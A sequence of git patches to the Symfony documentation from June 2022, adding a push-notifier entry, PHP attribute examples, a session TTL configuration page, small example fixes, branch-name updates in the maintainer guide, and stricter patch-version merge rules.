From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 14:51:20 +0200
Subject: [PATCH 1950/5766] [Notifier] Added the Engagespot push notification

---
 notifier.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 24e48d6e8cb..53e483f7dd0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -320,11 +320,16 @@ integration with these push services:
 ==============  ====================================  =================================================================================
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================
 
+.. versionadded:: 6.1
+
+    The Engagespot integration was introduced in Symfony 6.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From f0145cf7c84d40c6f8d1187f146cdf4e4d5317d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 17:38:42 +0200
Subject: [PATCH 1951/5766] Reword

---
 routing.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/routing.rst b/routing.rst
index 258730bb2ce..4517eb95fc3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -24,12 +24,12 @@ because it's convenient to put the route and controller in the same place.
 Creating Routes as Attributes or Annotations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-On PHP 8, you can use native attributes to configure routes right away. On
-PHP 7, where attributes are not available, you can use annotations instead,
-provided by the Doctrine Annotations library.
+PHP attributes and annotations allow to define routes next to the code of the
+:doc:`controllers </controller>` associated to those routes. Attributes are
+native in PHP 8 and higher versions, so you can use them right away.
 
-In case you want to use annotations instead of attributes, run this command
-once in your application to enable them:
+In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
+library), but first you'll need to install the following dependency in your project:
 
 .. code-block:: terminal
 
@@ -41,10 +41,11 @@ once in your application to enable them:
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate controller actions with routing configuration.
 
-If you are using :ref:`Symfony Flex <symfony-flex>` this command also
-creates the following configuration file and you're done. If you aren't
-using flex or want to use attributes, the file has to be added manually.
-``type: annotation`` applies for attributes, too.
+Regardless of what you use (attributes or annotations) you need to add a bit of
+configuration to your project before using them. If you installed the annotations
+dependency and your project uses :ref:`Symfony Flex <symfony-flex>`, this file
+is already created for you. Otherwise, create the following file manually
+(the ``type: annotation`` option also applies to attributes, so you can keep it):
 
 .. code-block:: yaml
 

From cdcb931ef0ae353d5f9e86fa6e8a8cd753b6a29f Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 12 Jun 2022 17:46:46 +0200
Subject: [PATCH 1952/5766] Update questionhelper.rst

hello

the example shows a warning (preg_match(): No ending delimiter'/' found). to solve it, we need to add the ``/`` at the end of the regex.
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 8ba4c5ee2de..a25c638d58d 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -410,7 +410,7 @@ invalid answer and will only be able to proceed if their input is valid.
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
         $validation = Validation::createCallable(new Regex([
-            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'pattern' => '/^[a-zA-Z]+Bundle$/',
             'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
         ]));
         $question->setValidator($validation);

From b3fb226da727b0ef8270b0840ff1b5631a80a05d Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Mon, 13 Jun 2022 14:30:11 +0200
Subject: [PATCH 1953/5766] [Doctrine] Add attribute example for Lifecycle
 Callbacks

---
 doctrine/events.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4e5581c14de..4832abf72ae 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -80,6 +80,29 @@ define a callback for the ``prePersist`` Doctrine event:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // When using attributes, don't forget to add #[ORM\HasLifecycleCallbacks]
+        // to the class of the entity where you define the callback
+
+        #[ORM\Entity]
+        #[ORM\HasLifecycleCallbacks]
+        class Product
+        {
+            // ...
+
+            #[ORM\PrePersist]
+            public function setCreatedAtValue(): void
+            {
+                $this->createdAt = new \DateTimeImmutable();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/doctrine/Product.orm.yml

From 172d6525620e6bb3cc4d1242131e6654328fb27e Mon Sep 17 00:00:00 2001
From: Shamsi Babakhanov <107327961+shamsibabakhanov@users.noreply.github.com>
Date: Sun, 12 Jun 2022 22:43:39 +0400
Subject: [PATCH 1954/5766] Update http_kernel_httpkernelinterface.rst

The esi tag is not shown in the documentation page.
---
 create_framework/http_kernel_httpkernelinterface.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 9bda9e5c731..67596297676 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -155,7 +155,7 @@ rest of the content? Edge Side Includes (`ESI`_) to the rescue! Instead of
 generating the whole content in one go, ESI allows you to mark a region of a
 page as being the content of a sub-request call:
 
-.. code-block:: text
+.. code-block:: xml
 
     This is the content of your page
 

From 75f899d91bf552c91c092d328346b49479d79bde Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Jun 2022 18:00:13 +0200
Subject: [PATCH 1955/5766] Use HTML syntax highlighting

---
 create_framework/http_kernel_httpkernelinterface.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 67596297676..ede06d965d4 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -155,7 +155,7 @@ rest of the content? Edge Side Includes (`ESI`_) to the rescue! Instead of
 generating the whole content in one go, ESI allows you to mark a region of a
 page as being the content of a sub-request call:
 
-.. code-block:: xml
+.. code-block:: html
 
     This is the content of your page
 

From 2748e2eb79573d8dabfa7e2ec6054cd78a36bacd Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 9 Jun 2022 23:01:23 +0200
Subject: [PATCH 1956/5766] [Translation] Update locale.rst

---
 translation/locale.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/translation/locale.rst b/translation/locale.rst
index 33e287e1c4b..d4a28f74961 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -85,6 +85,26 @@ A better policy is to include the locale in the URL using the
             {
             }
         }
+        
+    .. code-block:: php-attributes
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            #[Route(
+                path: '/{_locale}/contact',
+                name: 'contact',
+                requirements: [
+                    '_locale' => 'en|fr|de',
+                ],
+            )]
+            public function contact()
+            {
+            }
+        }
 
     .. code-block:: yaml
 

From 2ed1cc77a1898e8023e2a15e2ded5142f91a179e Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Wed, 15 Jun 2022 09:44:43 +0200
Subject: [PATCH 1957/5766] [Form] Fix undefined variable

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index c8996787017..2b56b2fe07d 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -59,7 +59,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
-            // ...populate $object properties with the data stored in $formData
+            // ...populate $expected properties with the data stored in $formData
 
             // submit the data to the form directly
             $form->submit($formData);

From 145de8e7a407425608b857e679d4d3c9c1c16755 Mon Sep 17 00:00:00 2001
From: Oliver Kossin <oliver.kossin@qossmic.com>
Date: Wed, 15 Jun 2022 13:05:27 +0200
Subject: [PATCH 1958/5766] Remove deprecated Docs ind "lock"

---
 lock.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/lock.rst b/lock.rst
index 5d864fb0089..688bc3b8c0a 100644
--- a/lock.rst
+++ b/lock.rst
@@ -286,16 +286,3 @@ each lock using the camel case version of its name suffixed by ``LockFactory``
 - e.g. ``invoice`` can be injected automatically by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
 :class:`Symfony\\Component\\Lock\\LockFactory`.
-
-Blocking Store
---------------
-
-If you want to use the ``RetryTillSaveStore`` for :ref:`non-blocking locks <lock-blocking-locks>`,
-you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
-
-.. code-block:: yaml
-
-    lock.default.retry_till_save.store:
-        class: Symfony\Component\Lock\Store\RetryTillSaveStore
-        decorates: lock.default.store
-        arguments: ['@.inner', 100, 50]

From ffda9516cd142d05160ae52b4bbbcbb048f56ae0 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Thu, 16 Jun 2022 14:36:43 +0200
Subject: [PATCH 1959/5766] New features must go on the 6.x branch

---
 contributing/code/pull_requests.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 3d45dbd6c62..6f24f982fcb 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``5.x``, if you are adding a new feature.
+* ``6.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
@@ -142,7 +142,7 @@ work:
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
     for the ``4.4`` branch, the PR will also be applied by the core team on
-    the ``5.x`` branch.
+    the ``5.x`` and ``6.x`` branches.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~

From 4a0bc185703fcd65e34c5f94f5dce7aabb5d4bc5 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Thu, 16 Jun 2022 15:20:20 +0200
Subject: [PATCH 1960/5766] [Frontend] Update UX package list

---
 frontend/_ux-libraries.rst.inc | 34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index c88b6b623ef..40a3e441c8c 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -1,18 +1,30 @@
-* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any* ``<select>`` element into an Ajax-powered autocomplete field
+* `ux-chartjs`_: Easy charts with `Chart.js`_
+* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
+* `ux-lazy-image`_: Optimize Image Loading with BlurHash
 * `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+* `ux-notify`_: Send server-sent native notification with Mercure
+* `ux-react`_: Render `React`_ component from Twig
+* `ux-swup`_: Integration with `Swup`_
+* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
 * `ux-twig-component`_: Build Twig Components Backed by a PHP Class
-* `ux-swup`_: Integration with Swup
-* `ux-chartjs`_: Easy charts with Chart.js
-* `ux-lazy-image`_: Optimize Image Loading with BlurHash
-* `ux-cropperjs`_: Form Type and tools for cropping images
-* `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
+* `ux-typed`_: Integration with `Typed`_
 
-.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
-.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
+.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
+.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`ux-notify`: https://symfony.com/bundles/ux-notify/current/index.html
+.. _`ux-react`: https://symfony.com/bundles/ux-react/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
+.. _`Chart.js`: https://www.chartjs.org/
+.. _`Swup`: https://swup.js.org/
+.. _`React`: https://reactjs.org/
 .. _`Turbo Drive`: https://turbo.hotwired.dev/
+.. _`Typed`: https://github.com/mattboldt/typed.js/

From 848d7b35fd0f68abfce57349e96c9a3abcc3ae36 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 16 Jun 2022 10:41:41 +0200
Subject: [PATCH 1961/5766] Add page about configuring the session TTL

---
 session.rst                 |   1 +
 session/configuring_ttl.rst | 121 ++++++++++++++++++++++++++++++++++++
 2 files changed, 122 insertions(+)
 create mode 100644 session/configuring_ttl.rst

diff --git a/session.rst b/session.rst
index b603662500d..da6e3e201c7 100644
--- a/session.rst
+++ b/session.rst
@@ -192,5 +192,6 @@ More about Sessions
     session/locale_sticky_session
     session/php_bridge
     session/proxy_examples
+    session/configuring_ttl
 
 .. _`HttpFoundation component`: https://symfony.com/components/HttpFoundation
diff --git a/session/configuring_ttl.rst b/session/configuring_ttl.rst
new file mode 100644
index 00000000000..cf059efc7bb
--- /dev/null
+++ b/session/configuring_ttl.rst
@@ -0,0 +1,121 @@
+.. index::
+    single: Sessions, defining TTL
+
+Configuring the Session TTL
+===========================
+
+Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
+session lifetime. However if you :doc:`store sessions in a database </session/database>`
+you can also configure your own TTL in the framework configuration or even at runtime.
+
+Changing the ini setting is not possible once the session is started so if you
+want to use a different TTL depending on which user is logged in, you really need
+to do it at runtime using the callback method below.
+
+.. _configuring-the-TTL:
+
+Configuring the TTL
+-------------------
+
+You need to pass the TTL in the options array of the session handler you are using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': 600 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl">600</argument>
+                </argument>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => 600],
+            ]);
+
+.. _configuring-the-TTL-dynamically-at-runtime:
+
+Configuring the TTL dynamically at runtime
+------------------------------------------
+
+If you would like to have a different TTL for different
+users or sessions for whatever reason, this is also possible
+by passing a callback as the TTL value. The callback then has
+to return an integer which will be used as TTL.
+
+The callback will be called right before the session is written.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    - { 'ttl': !closure '@my.ttl.handler' }
+             
+            my.ttl.handler:
+                class: Some\InvokableClass # some class with an __invoke() method
+                arguments:
+                    # Inject whatever dependencies you need to be able to resolve a TTL for the current session
+                    - '@security'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <services>
+            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                <argument type="service" id="Redis"/>
+                <argument type="collection">
+                    <argument key="ttl" type="closure" id="my.ttl.handler"/>
+                </argument>
+            </service>
+            <!-- some class with an __invoke() method -->
+            <service id="my.ttl.handler" class="Some\InvokableClass">
+                <!-- Inject whatever dependencies you need to be able to resolve a TTL for the current session -->
+                <argument type="service" id="security"/>
+            </service>
+        </services>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $services
+            ->set(RedisSessionHandler::class)
+            ->args([
+                service('Redis'),
+                ['ttl' => closure(service('my.ttl.handler'))],
+            ]);
+
+        $services
+            // some class with an __invoke() method
+            ->set('my.ttl.handler', 'Some\InvokableClass')
+            // Inject whatever dependencies you need to be able to resolve a TTL for the current session
+            ->args([service('security')]);

From 29e1c0e125ac576b31e6307b381e7b859dfff193 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Fri, 10 Jun 2022 16:14:13 +0100
Subject: [PATCH 1962/5766] Update http_foundation.rst

`$request->query->all()['foo'];` triggers an 'Undefined array key "foo"' error when `foo` doesn't exist. However `$request->query->all('foo');` return null  when `foo` doesn't exist (consistent with `$request->query->get('bar');` for accessing a string parameter `bar` which might not exist).
---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8e31999220f..80609cf1985 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -169,7 +169,7 @@ doesn't support returning arrays, so you need to use the following code::
     // the query string is '?foo[bar]=baz'
 
     // don't use $request->query->get('foo'); use the following instead:
-    $request->query->all()['foo'];
+    $request->query->all('foo');
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');

From 320a50116911532d52c2cbdc3fd377d4323f8ff9 Mon Sep 17 00:00:00 2001
From: Jon Green <jon+wsl.ubuntu@tjs.co.uk>
Date: Sun, 12 Jun 2022 15:17:54 +0100
Subject: [PATCH 1963/5766] Update http_foundation.rst

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 80609cf1985..5c97c46874f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -172,6 +172,10 @@ doesn't support returning arrays, so you need to use the following code::
     $request->query->all('foo');
     // returns ['bar' => 'baz']
 
+    // if the requested parameter does not exist, an empty array is returned:
+    $request->query->all('qux');
+    // returns []
+
     $request->query->get('foo[bar]');
     // returns null
 

From 07a10ec7f5db9ba3479c2cb1260c31feb22ad893 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 16 Jun 2022 18:14:16 +0200
Subject: [PATCH 1964/5766] remove outdated references to the master branch

---
 _build/maintainer_guide.rst           | 6 +++---
 contributing/code/maintenance.rst     | 8 ++++----
 contributing/documentation/format.rst | 6 +++---
 3 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7e5cbc8caba..d7eefad8edc 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch master)
+      Working on symfony/symfony-docs (branch 4.4)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "master" refs/notes/github-comments
+      Now, push with: git push gh "4.4" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "master" refs/notes/github-comments
+      $ git push gh "4.4" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index e03c22cabf3..caca1b54759 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -41,14 +41,14 @@ Besides bug fixes, other minor changes can be accepted in a patch version:
 
 * **Coding standard and refactoring**: Coding standard fixes or code
   refactoring are not recommended but can be accepted for consistency with the
-  existing code base, if they are not too invasive, and if merging them on
-  master would not lead to complex branch merging;
+  existing code base, if they are not too invasive, and if merging them into
+  higher branches would not lead to complex branch merging;
 
 * **Tests**: Tests that increase the code coverage can be added.
 
 Anything not explicitly listed above should be done on the next minor or major
-version instead (aka the *master* branch). For instance, the following changes
-are never accepted in a patch version:
+version instead. For instance, the following changes are never accepted in a
+patch version:
 
 * **New features**;
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 1f6f1787918..297db06adf2 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -201,9 +201,9 @@ For a deprecation use the ``.. deprecated:: 4.x`` directive:
         Not passing the root node name to ``TreeBuilder`` was deprecated in Symfony 4.2.
 
 Whenever a new major version of Symfony is released (e.g. 5.0, 6.0, etc),
-a new branch of the documentation is created from the ``master`` branch.
-At this point, all the ``versionadded`` and ``deprecated`` tags for Symfony
-versions that have a lower major version will be removed. For example, if
+a new branch of the documentation is created from the x.4 branch of the previous
+major version. At this point, all the ``versionadded`` and ``deprecated`` tags for
+Symfony versions that have a lower major version will be removed. For example, if
 Symfony 5.0 were released today, 4.0 to 4.4 ``versionadded`` and ``deprecated``
 tags would be removed from the new ``5.0`` branch.
 

From 94bdfd45f8ac55be058c8cdba5d7f0f5c7235852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:52:46 +0200
Subject: [PATCH 1965/5766] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index fcee70f8f90..6e2017eedd2 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch 5.4)
+      Working on symfony/symfony-docs (branch 6.0)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "5.4" refs/notes/github-comments
+      Now, push with: git push gh "6.0" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "5.4" refs/notes/github-comments
+      $ git push gh "6.0" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 3482e0dd2ac77a4441760d1a4f0df5225511d200 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:53:30 +0200
Subject: [PATCH 1966/5766] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 6e2017eedd2..d82105e9760 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch 6.0)
+      Working on symfony/symfony-docs (branch 6.1)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "6.0" refs/notes/github-comments
+      Now, push with: git push gh "6.1" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "6.0" refs/notes/github-comments
+      $ git push gh "6.1" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 5373de12981007ea03bfc1d9fd61f008dbba336e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Jun 2022 09:53:59 +0200
Subject: [PATCH 1967/5766] Minor update

---
 _build/maintainer_guide.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index d82105e9760..9758b4e7397 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -39,14 +39,14 @@ contributes again, it's OK to mention some of the minor issues to educate them.
 
     $ gh merge 11059
 
-      Working on symfony/symfony-docs (branch 6.1)
+      Working on symfony/symfony-docs (branch 6.2)
       Merging Pull Request 11059: dmaicher/patch-3
 
       ...
 
       # This is important!! Say NO to push the changes now
       Push the changes now? (Y/n) n
-      Now, push with: git push gh "6.1" refs/notes/github-comments
+      Now, push with: git push gh "6.2" refs/notes/github-comments
 
       # Now, open your editor and make the needed changes ...
 
@@ -54,7 +54,7 @@ contributes again, it's OK to mention some of the minor issues to educate them.
       # Use "Minor reword", "Minor tweak", etc. as the commit message
 
       # now run the 'push' command shown above by 'gh' (it's different each time)
-      $ git push gh "6.1" refs/notes/github-comments
+      $ git push gh "6.2" refs/notes/github-comments
 
 Merging Pull Requests
 ---------------------

From 6627a1be73054918df58a94839db820417f2cf17 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 17 Jun 2022 10:09:33 +0200
Subject: [PATCH 1968/5766] Tighten the rules of what can be merged in patch
 versions

---
 contributing/code/maintenance.rst | 36 ++++++++++++++++++++-----------
 1 file changed, 24 insertions(+), 12 deletions(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index caca1b54759..75056d05160 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -11,26 +11,30 @@ acceptable changes.
 * New unit tests cover the bug fix;
 * The current buggy behavior is not widely used as a "feature".
 
+While working on a bug fix, don't refactor the code or introduce new classes.
+
 .. note::
 
     When documentation (or PHPDoc) is not in sync with the code, code behavior
     should always be considered as being the correct one.
 
-Besides bug fixes, other minor changes can be accepted in a patch version:
+To avoid backward compatibility breaks, we tend to be very strict about changes
+accepted for patch versions.
 
-* **Performance improvement**: Performance improvement should only be accepted
-  if the changes are local (located in one class) and only for algorithmic
-  issues (any such patches must come with numbers that show a significant
-  improvement on real-world code);
+Besides bug fixes, other minor changes might be accepted in a patch version on
+a case by case basis:
 
-* **Newer versions of PHP**: Fixes that add support for newer versions of
-  PHP are acceptable if they don't break the unit test suite;
+* **Newer versions of PHP**: Fixes that add support for newer versions of PHP
+  are acceptable if they don't break the unit test suite, but we never add
+  support for newer PHP features;
 
 * **Newer versions of popular OSes**: Fixes that add support for newer versions
   of popular OSes (Linux, MacOS and Windows) are acceptable if they don't break
-  the unit test suite;
+  the unit test suite, but we never add support for newer PHP features or newer
+  versions of OSes;
 
-* **Translations**: Translation updates and additions are accepted;
+* **Translations**: Translation updates and additions are always merged in the
+  oldest maintained branch;
 
 * **External data**: Updates for external data included in Symfony can be
   updated (like ICU for instance);
@@ -39,13 +43,21 @@ Besides bug fixes, other minor changes can be accepted in a patch version:
   of a dependency is possible, bumping to a major one or increasing PHP
   minimal version is not;
 
+* **Tests**: Tests that increase the code coverage can be added.
+
+The following changes are **generally not accepted** in a patch version, except
+on a case by case basis:
+
+* **Performance improvement**: Performance improvement should only be accepted
+  if the changes are local (located in one class) and only for algorithmic
+  issues (any such patches must come with numbers that show a significant
+  improvement on real-world code);
+
 * **Coding standard and refactoring**: Coding standard fixes or code
-  refactoring are not recommended but can be accepted for consistency with the
+  refactoring are almost never accepted except for consistency with the
   existing code base, if they are not too invasive, and if merging them into
   higher branches would not lead to complex branch merging;
 
